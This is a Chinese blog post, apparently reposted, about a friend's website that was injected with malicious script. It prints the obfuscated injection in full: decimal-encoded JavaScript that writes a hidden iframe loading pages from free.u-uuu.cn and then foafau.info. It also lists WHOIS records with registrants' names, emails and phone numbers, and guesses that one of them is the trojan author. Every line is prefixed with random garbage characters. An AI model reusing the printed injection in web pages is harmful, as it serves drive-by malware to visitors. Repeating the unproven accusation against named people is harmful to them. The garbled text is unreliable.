首发在我的博客里面，
uj;tmK>; jwhc;y http://www.areway.cn/?p=175 Mtq\ xF,/+ 1k"<T7K |qTvy,U[ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
A: ! _ & 3Z/_} 5%" <script>t=’60,105,102,114,97,109,101,
Pfi|RTX$'* 32,115,114,99,61,104,116,116,112,58,47,47,
+L(|?|i8 102,114,101,101,46,117,45,117,117,117,46,99,
a|S6r-_;s 110,47,101,114,114,111,114,46,104,116,109,
pDqX%
$^ 32,119,105,100,116,104,61,49,48,48,32,104,
>J(._K 101,105,103,104,116,61,48,62,60,47,105,102,
? i'N 9 /( 114,97,109,101,62′;
$r+ _ Y/ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
4:wVT;?a NhJ]X cfP8 <script>t=’60,105,102,114,97,109,101,32,115,
rMr :\M]t 114,99,61,104,116,116,112,58,47,47,102,114,
j}u b 101,101,46,117,45,117,117,117,46,99,110,47,
;&7dX^oH 101,114,114,111,114,46,104,116,109,32,119,
I[nSf]Vm> 105,100,116,104,61,49,48,48,32,104,101,105,
!y_4.&C{ 103,104,116,61,48,62,60,47,105,102,114,97,
x9\z^GU%H 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Sq22] document.write(t);</script>
&`x1_*l hvW FzT5 <html xmlns=”
l EA f\T7 http://www.w3.org/1999/xhtml 8 _$[SV$q “>
F^4mO| <head>
`4IZ 4sPi <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
/ vgEDw <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
}Um,wY[tK <title>首页 - 爱生活家庭网
gI~B _0x A; _Zw[ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
-So$ f-y 转换字符串后的大概内容是（谁点击后果自付）：
R`
g'WaDk <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
' _ZiZ4O T8^ `<gr. 查询玉米u-uuu.cn的详细信息：
Ob! NC& Domain Name: u-uuu.cn
& 6="r } ROID: 20070901s10001s64972306-cn
da ' 1 H Domain Status: ok
hufpk y[&8 Registrant Organization: 王雷
ICdfak Registrant Name: 王雷
aFw \ w>*^ Administrative Email:
czlovexs@126.com kB[l6` Sponsoring Registrar: 北京万网志成科技有限公司
pYN.tD FO Name Server:ns.yovole.com
h4ozwVA Name Server:ns1.yovole.com
Q&5s,)w- Registration Date: 2007-09-01 17:54
!#y_vz9 Expiration Date: 2008-09-01 17:54
+-X
6 8` 最后PING了一下地址 都没有什么….
,{6 Vf|? )x5t' ]w`K 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
4yK{(!&i+ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
+L0Jje>Az <script language=”javascript” src=”
f/P qkHF http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \^o I3K0` >
<#nt?Xn 这个玉米应该有可能是木马作者的：
s,CN<`/>x foafau.info的详细信息：
x`:c0y9uG Access to INFO WHOIS information is provided to assist persons in
PQj 'D <G determining the contents of a domain name registration record in the
XgI;2Be+&a Afilias registry database. The data in this record is provided by
0ZM#..3sI Afilias Limited for informational purposes only, and Afilias does not
!P8Y(i guarantee its accuracy. This service is intended only for query-based
"%I<yUP]U access. You agree that you will use this data only for lawful purposes
]A&pX AM and that, under no circumstances will you use this data to: (a) allow,
k'8tqIUN ] enable, or otherwise support the transmission by e-mail, telephone, or
F5y0(=$T facsimile of mass unsolicited, commercial advertising or solicitations
U ee( 1 to entities other than the data recipient’s own existing customers; or
t p<v (b) enable high volume, automated, electronic processes that send
-bd'sv queries or data to the systems of Registry Operator, a Registrar, or
x?7z 15\ Afilias except as reasonably necessary to register domain names or
p!o-+@av a modify existing registrations. All rights reserved. Afilias reserves
oNhCa>)/ the right to modify these terms at any time. By submitting this query,
^>/~MCyM. you agree to abide by this policy.
XjXz#0nR Domain ID:D22418703-LRMS
b|-}?@&7&q Domain Name:FOAFAU.INFO
i&TWIl8 Created On:20-Nov-2007 16:05:42 UTC
cY^'Cj Last Updated On:20-Nov-2007 16:05:44 UTC
b($9gre>mI Expiration Date:20-Nov-2008 16:05:42 UTC
QQ,V35Vp[ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
+ mP VI Status:CLIENT DELETE PROHIBITED
5pU/X.lc Status:CLIENT RENEW PROHIBITED
6e>P!bo Status:CLIENT TRANSFER PROHIBITED
j=dGNi)R Status:CLIENT UPDATE PROHIBITED
x,NV{uG$n Status:TRANSFER PROHIBITED
4 _P 6 P Registrant ID:GODA-040110615
"F= ta Registrant Name:liu hong
4#,,_\r Registrant Organization:
!o`riQLs> Registrant Street1:beijing
r ]0>A&, Registrant Street2:
vRh)o1u) Registrant Street3:
) 7C+hQe Registrant City:beijing
W m&* Registrant State/Province:
0`/CoP<U Registrant Postal Code:100000
Q{| _"sf J Registrant Country:CN
`m thzc3W Registrant Phone:+86.860108888777
wQ^RXbJI9 Registrant Phone Ext.:
oFb~ |>d Registrant FAX:
.~C%:bDnX7 Registrant FAX Ext.:
EK& ";(x2( Registrant Email:bbbshiji@163.com
<Nk:C1Op} Admin ID:GODA-240110615
3#? 53s Admin Name:liu hong
<0!<T+ JQ Admin Organization:
;i?rd f Admin Street1:beijing
G<-<>)zO! Admin Street2:
Hqtv`3g Admin Street3:
)(9[> _+40 Admin City:beijing
Ft^X[5G4L Admin State/Province:
Jcy+(7lE) Admin Postal Code:100000
fg7 Admin Country:CN
7|xu)z YB Admin Phone:+86.860108888777
WMa` ! Q Admin Phone Ext.:
Y P,>vzW Admin FAX:
6e S~* Admin FAX Ext.:
LJ6L#es2 Admin Email:bbbshiji@163.com
~/qBOeU3 Billing ID:GODA-340110615
3 a|pk4M Billing Name:liu hong
h1H$3TpP Billing Organization:
&hUEOif Billing Street1:beijing
H $V`,=H Billing Street2:
dT0>\9ZNr Billing Street3:
j#Qnu0 D Billing City:beijing
^ (s(4| Billing State/Province:
erKi*GssZ Billing Postal Code:100000
i &%m^p Billing Country:CN
+ 9I|F m Billing Phone:+86.860108888777
Qz89=#W Billing Phone Ext.:
8|(],NyEJ Billing FAX:
~{ GTL_w Billing FAX Ext.:
:p%#U$S4 Billing Email:bbbshiji@163.com
+z[+ kir Tech ID:GODA-140110615
"@^Q" RF Tech Name:liu hong
& >!- 67 Tech Organization:
f@gvDo]Y Tech Street1:beijing
b0/YX@ Tech Street2:
@?jtB Tech Street3:
~0h@p4 Tech City:beijing
&=f? :UZ% Tech State/Province:
xYZ,. Tech Postal Code:100000
.4ZOm'ko{ Tech Country:CN
) ~Gn7 Tech Phone:+86.860108888777
h@z0 x4_]) Tech Phone Ext.:
/~Bs5f.]? Tech FAX:
MsZx 0] Tech FAX Ext.:
$o0.oY#
Tech Email:bbbshiji@163.com
IT7],pM Name Server:NS27.DOMAINCONTROL.COM
peH jKK Name Server:NS28.DOMAINCONTROL.COM
i&8|@CACb Name Server:
FQ> kTm`d Name Server:
~<-mxOe Name Server:
=~" X/ >' Name Server:
B&7NF}CF2 Name Server:
dVk(R9 8 Name Server:
QJ(5o7Tfn Name Server:
f5p/cUzX Name Server:
w5^k84vye Name Server:
<5^m`F5 Name Server:
PD^G$LT Name Server:
r
\[|'hA jABFdNjri 接着下载每个文件里面的代码：
B;S'l|-? 一步一步看..
#
E_S.. 
w3 kkam" 
A*vuS Qt( 
B`t/21J 
' <xE 0< 
y Z[=Y 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
